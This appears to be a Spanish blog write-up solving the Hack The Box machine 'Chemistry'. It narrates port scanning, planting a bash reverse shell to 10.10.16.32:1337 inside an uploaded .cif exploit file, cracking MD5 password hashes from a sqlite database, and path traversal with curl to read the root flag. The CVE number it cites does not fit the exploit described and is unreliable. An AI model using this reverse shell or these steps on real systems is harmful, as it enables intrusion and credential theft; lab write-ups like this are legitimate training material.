Vamos ha resolver la máquina Chemistry de Hack the box, una mñaquina linux de nivel Easy.
Comenzamos lanzando un ping para comprobar que esta activa la máquina y nos responde.

con nmap esaneamos el total de puertos, especificando con el parametro stealth scan -sS

A continuacion con los parametros -sC y -sV afinamos el escaneo para que
nos muestre versiones y tecnologías asociadas con esos puertos

Nos llama la atencion el puerto 5000 al ser poco usual e investigamos en intrnet, ademas lanzamos un whatweb, va que esta máquina tiene una página, con un panel de autenticacion que nos permite subit archivos de extension .cif. Con curl nos traemos a nuestro equipo el código de la web que se sirve por el puerto 5000

con whatweb vemos que usa la version de python3.9.5

Buscamos un exploit asociado con esas versiones y nos clonamos el repositorio del CVE-2024-6387

Vemos que el repositorio que acabamos de clonar tiene un archivo vuln.cif que es el tipo de archivos que nos permite subir esta página. Editamos el contenido la linea de system () introducimos una rever shell escapando las comillas simples y poniendo la ruta absoluta
"/bin/bash .c \'/bin/bash -i >& /dev/tcp/10.10.16.32/1337 0>&1\'")

cuardo el archivo vuln.cif me pongo en escucha con nc -nlvp 1337, subo el archivo, le doy a abrir, parece que me da un error pero en la consola del netcat me ha devuelto una shell

Entro como app en la máquina y lo primero es hacer un tratamiento de la tty

Veo que soy app y que estoy en mi directorio personal

Veo que hay dos usuarios con un home en el sistema, pero no puedo ver la fag de user

sigo investigando los archivos del sistema y veo que tiene instalada una base de datos sqlite3, entro y miro las tablas existentes

Me ineresa ver el contenido de la tabla user

hago un select de todo lo que hay en user y veo los passwords que parecen estar en formato MD5

me los copio y los llevo a mi terminal, le paso con awk para que me lo ordene por el tercer campo siendo el separador un pipe.

Voy a crack station, intento crakear los hashes y solo veo 4 resultados, pero ya el primero me llama la atención por que el otro usuario que tengo ene el sistema se llama rosa, voy a porbar ese password

Me autentico con éxito y ya puedo leer la flag de usuario

como el usuario rosa, miro a ver si tengo capabilities, no parece haber nada que me permita ejecutar comandos como root.

Investigo varia páginas por intrnet, finalmente encuentro una forma de hacer path traversal en un directorio existente en la web

Normalmente te compacta los saltos que le pongas y lo toma como si solo hubieras hecho un directorio hacia atras, usando el –path-as-is si que nos lo interpreta bien

Y ya puedo leer la flag de root
maquina owned! 👩🏻💻
0 comentarios